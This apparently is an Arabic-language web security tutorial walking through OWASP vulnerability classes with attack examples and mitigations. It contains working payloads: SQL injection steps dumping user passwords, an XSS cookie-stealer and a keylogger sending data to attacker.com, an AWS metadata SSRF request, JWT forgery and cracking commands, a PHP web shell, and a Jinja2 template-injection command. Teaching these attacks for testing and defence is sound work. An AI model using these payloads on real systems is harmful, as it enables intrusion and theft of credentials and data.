Core Web Vulnerabilities — OWASP من شغل فعلي
SQLi و XSS و SSRF و IDOR و Auth — اللي بتقع فيها كل يوم
OWASP Top 10 — خريطة ثغرات الويب
إنت بتختبر تطبيق ويب. تبدأ منين؟
تجرّب كل payload في PayloadsAllTheThings؟
هتقعد سنة. وهتلاقي حاجة بالصدفة، لو ربنا كرّم.
' OR 1=1 --. هو هو من 1998. يعني فيه ثغرات عمرها 25 سنة لسه بتاكل شركات في 2024. ليه؟ لأن "Prepared Statements" كلام بنقوله، مش بنعمله.1. SQL Injection — حقن قواعد البيانات
الكود الضعيف
$id = $_GET['id'];
$q = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمينالاستغلال خطوة بخطوة
?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+ ← خطأ يعني الجدول فيه 4 أعمدة?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+- Prepared Statements دايماً — مفيش concatenation خالص. ولا مرة. اوعى.
- ORM محترم بـ parameterized queries.
- صلاحيات قاعدة البيانات محدودة (least privilege) — حساب الويب مش لازم يكون root.
- WAF + قواعد Sigma بتمسك بصمات sqlmap من بدري.
2. Cross-Site Scripting (XSS)
أنواعها
- Reflected XSS — بترتد من اللينك على طول.
- Stored XSS — بتتخزّن في قاعدة البيانات. الأخطر.
- DOM-based XSS — كلها في الـ JavaScript على المتصفح، السيرفر مش شايف حاجة.
<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>سرقة الجلسة كاملة
(function(){
let buf="";
document.addEventListener('keydown', e => {
buf += e.key;
if(buf.length>40){
navigator.sendBeacon('https://attacker.com/k', buf);
buf="";
}
});
})();3. SSRF — Server-Side Request Forgery
سيناريو خطير على AWS
# الموقع يقبل URL لتحميل صورة
POST /api/import-image body: {"url":"http://example.com/x.png"}
# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}
# النتيجة: مفاتيح AWS مؤقتة كاملة!- فرض IMDSv2 دايماً (محتاج PUT token). IMDSv1 خرم مفتوح.
- Egress allow-list من السيرفر — مش كل الدنيا مفتوحة على بعضها.
- قفل IPs الخاصة (10.0.0.0/8, 169.254.0.0/16, ::1).
- VPC endpoints بدل الإنترنت في كل مكان ينفع.
4. كسر الـ Authentication و JWT
هجمات بنشوفها كل يوم
- Credential stuffing — تجربة باسوردات اتسربت قبل كده على نفس الإيميلات.
- Password spraying — باسورد واحد شائع على آلاف الحسابات.
- كسر JWT — تغيير الـ algorithm لـ none، أو كسر الـ secret بـ hashcat.
# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.
# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt
# 3) algorithm confusion RS256 → HS2565. IDOR — Insecure Direct Object Reference
تغيّر رقم واحد في الـ URL فتلاقي بيانات شخص تاني قدامك. أبسط ثغرة في الويب وأكترها انتشاراً.
GET /api/invoices/1042 ← فاتورتك
GET /api/invoices/1043 ← فاتورة شخص آخر! (لا يوجد فحص ملكية)6. File Upload + RCE
ترفع ملف .php أو .jsp متخفّي (shell.php.jpg) في مجلد بينفذ كود = اختراق كامل للسيرفر. قصة قديمة لسه شغالة.
<?php system($_GET['c']); ?>7. Deserialization & Template Injection
الفئة دي هي الأخطر على الإطلاق: تنفيذ كود مباشر لما الـ payload المصنوع يوصل لـ unserialize أو pickle.loads أو Java readObject، أو لمحرك قوالب بيقبل تعبيرات (Jinja2, Twig, Freemarker). لو مسكت واحدة منها = RCE فوري.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}الأدوات الأساسية للويب
- Burp Suite — الـ proxy اللي هتعتمد عليه يومياً.
- OWASP ZAP — البديل المفتوح المصدر.
- Caido — خفيف وحديث، شغل لطيف.
- sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.
غلطات الـ junior في اختبار الويب
- يبتدي بـ sqlmap على كل parameter — يقطع الـ DB في 5 دقايق، الـ ops تتعبه يطلع برّه. الـ stealth أهم من السرعة.
- يفرح بـ XSS reflected — يكتبها Critical في التقرير. يا نجم، الـ XSS من غير context = noise. اللي مهم: stored XSS في admin panel، ولا session theft فعلية.
- يجرّب payloads عمياني — بدل ما يفهم الـ stack. لو الـ backend Node، ما تجرّبش PHP payloads. لو Python، ما تجرّبش .NET deserialization.
- ينسى الـ business logic — الـ IDOR والـ price tampering والـ race conditions. أكبر breaches اتعملت من business logic، مش من sqlmap.
- ما يقراش الـ JS — كل API endpoints، كل secrets، كل feature flags جوه bundle.js. لو ما قريتوش، إنت بتلعب على نص الخريطة.
الخلاصة الناشفة
الويب مش 1000 ثغرة — الويب 10 عائلات.
الـ Prepared Statements بتقفل SQLi.
الـ CSP الصارم بيقفل XSS.
الـ ownership check في كل request بيقفل IDOR.
كله معروف من 20 سنة. السؤال: ليه لسه بيحصل؟
لأن الـ engineers بيكتبوا code بسرعة، والـ security بيكتبوا تقارير بسرعة، ومحدش بيقعد يفهم الـ "ليه" من جذره.
اكتبها على ظهر إيدك: الـ payload مش هو اللعبة — الـ "ليه الـ payload شغّال" هو اللعبة.